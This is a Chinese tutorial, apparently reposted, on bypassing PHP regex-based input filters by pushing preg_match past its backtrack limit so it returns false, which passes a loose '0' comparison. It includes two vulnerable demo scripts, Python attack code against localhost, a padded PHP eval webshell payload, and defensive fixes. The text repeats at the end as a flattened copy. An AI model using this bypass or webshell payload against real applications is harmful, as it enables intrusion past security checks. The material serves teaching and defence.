利用正则回溯最大次数上限进行绕过
字数 1247 2025-08-12 11:34:03

利用正则回溯最大次数上限进行绕过 - 技术解析与防御指南

正则回溯基础概念

什么是正则回溯?

正则表达式回溯是一种搜索算法行为,其工作原理如下:

  • 从问题的初始状态出发,搜索所有可能达到的状态
  • 当一条路径走到尽头(无法继续匹配)时,后退一步或若干步
  • 从另一种可能状态出发继续搜索,直到所有路径都试探过
  • 这种"前进-后退"的搜索过程称为回溯,本质上是深度优先搜索算法

非贪婪模式回溯示例

text = "abc"
regex = "ab{1,3}c"

在这个例子中,正则引擎会尝试匹配1到3个"b"字符,当匹配失败时会进行回溯。

PHP中的正则回溯限制

PCRE回溯限制机制

PHP为防止正则表达式的拒绝服务攻击(ReDOS),对PCRE设置了回溯次数上限:

  • 通过pcre.backtrack_limit参数控制
  • 默认最大回溯次数为1,000,000次
  • 可使用var_dump(ini_get('pcre.backtrack_limit'));查看当前设置

回溯超限行为

当正则匹配回溯次数超过限制时:

  • preg_match()函数返回false(而非通常的1或0)
  • 在PHP松散比较中,false与字符串'0'相等('0' == false为true)
  • 严格比较(===)则不会相等

绕过技术原理

利用回溯限制的绕过原理:

  1. 构造特殊输入使正则引擎进行大量回溯
  2. 当回溯次数超过pcre.backtrack_limit时,preg_match()返回false
  3. 利用PHP的松散比较特性(false == '0'
  4. 绕过安全检查逻辑

实际案例分析

案例一:基本绕过

PHP源码:

<?php
$input = $_POST['file'];
if(is_php($input)=='0') {
    echo "flag{raoguo-cenggong}";
}else{
    echo "bad requests";
}

function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

Python攻击代码:

import requests
datas = {
    'file' : "<?php eval($_POST['oupeng']); ?>" + 'h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test1.php', data=datas)
print(res.text)

攻击效果:

  • 当回溯次数达到999,990次时:可能失败
  • 当回溯次数达到1,000,000次时:preg_match()返回false,与'0'比较成功,输出flag

案例二:复杂条件绕过

PHP源码:

<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting);
}

$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
    if(!areyouok($greeting)){
        if(strpos($greeting,'Merry Christmas')!==false){
            echo 'flag{cheng-gong}';
        }else{
            echo 'no have Merry Christmas';
        }
    }else{
        echo 'Bypass the failure';
    }
}
?>

Python攻击代码:

import requests
datas = {
    'greeting': 'Merry Christmas' + 'h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)

攻击效果:

  1. 输入包含"Merry Christmas"前缀
  2. 添加大量字符使正则回溯超限
  3. preg_match()返回false!false为true
  4. strpos()检查通过,输出flag

失败案例(无前缀):

datas = {
    'greeting': 'h'*1000000
}

将输出"no have Merry Christmas"

防御措施

  1. 使用严格比较:将==替换为===可防止松散比较导致的绕过

    if(is_php($input) === 0)  // 安全比较
    
  2. 限制输入长度:设置合理的输入长度限制

    if(strlen($input) > 1000) die('Input too long');
    
  3. 优化正则表达式:避免使用易导致大量回溯的模式

    • 减少.*等贪婪匹配的使用
    • 使用更精确的字符类
  4. 调整PCRE设置

    ini_set('pcre.backtrack_limit', 更低的值);
    
  5. 错误处理:检查preg_match()的返回值是否为布尔值false

    $result = preg_match(...);
    if($result === false) {
        // 处理匹配失败情况
    }
    

总结

正则回溯绕过是一种利用PHP PCRE实现特性和松散比较的安全漏洞。防御的关键在于:

  1. 始终使用严格比较(===
  2. 对正则匹配结果进行完整验证
  3. 限制用户输入的长度和复杂性
  4. 优化正则表达式模式,避免性能陷阱

通过理解正则引擎的工作原理和PHP的类型比较特性,可以有效防御此类攻击。

利用正则回溯最大次数上限进行绕过 - 技术解析与防御指南 正则回溯基础概念 什么是正则回溯? 正则表达式回溯是一种搜索算法行为,其工作原理如下: 从问题的初始状态出发,搜索所有可能达到的状态 当一条路径走到尽头(无法继续匹配)时,后退一步或若干步 从另一种可能状态出发继续搜索,直到所有路径都试探过 这种"前进-后退"的搜索过程称为回溯,本质上是深度优先搜索算法 非贪婪模式回溯示例 在这个例子中,正则引擎会尝试匹配1到3个"b"字符,当匹配失败时会进行回溯。 PHP中的正则回溯限制 PCRE回溯限制机制 PHP为防止正则表达式的拒绝服务攻击(ReDOS),对PCRE设置了回溯次数上限: 通过 pcre.backtrack_limit 参数控制 默认最大回溯次数为1,000,000次 可使用 var_dump(ini_get('pcre.backtrack_limit')); 查看当前设置 回溯超限行为 当正则匹配回溯次数超过限制时: preg_match() 函数返回 false (而非通常的1或0) 在PHP松散比较中, false 与字符串'0'相等( '0' == false 为true) 严格比较( === )则不会相等 绕过技术原理 利用回溯限制的绕过原理: 构造特殊输入使正则引擎进行大量回溯 当回溯次数超过 pcre.backtrack_limit 时, preg_match() 返回 false 利用PHP的松散比较特性( false == '0' ) 绕过安全检查逻辑 实际案例分析 案例一:基本绕过 PHP源码: Python攻击代码: 攻击效果: 当回溯次数达到999,990次时:可能失败 当回溯次数达到1,000,000次时: preg_match() 返回 false ,与'0'比较成功,输出flag 案例二:复杂条件绕过 PHP源码: Python攻击代码: 攻击效果: 输入包含"Merry Christmas"前缀 添加大量字符使正则回溯超限 preg_match() 返回 false , !false 为true strpos() 检查通过,输出flag 失败案例(无前缀): 将输出"no have Merry Christmas" 防御措施 使用严格比较 :将 == 替换为 === 可防止松散比较导致的绕过 限制输入长度 :设置合理的输入长度限制 优化正则表达式 :避免使用易导致大量回溯的模式 减少 .* 等贪婪匹配的使用 使用更精确的字符类 调整PCRE设置 : 错误处理 :检查 preg_match() 的返回值是否为布尔值false 总结 正则回溯绕过是一种利用PHP PCRE实现特性和松散比较的安全漏洞。防御的关键在于: 始终使用严格比较( === ) 对正则匹配结果进行完整验证 限制用户输入的长度和复杂性 优化正则表达式模式,避免性能陷阱 通过理解正则引擎的工作原理和PHP的类型比较特性,可以有效防御此类攻击。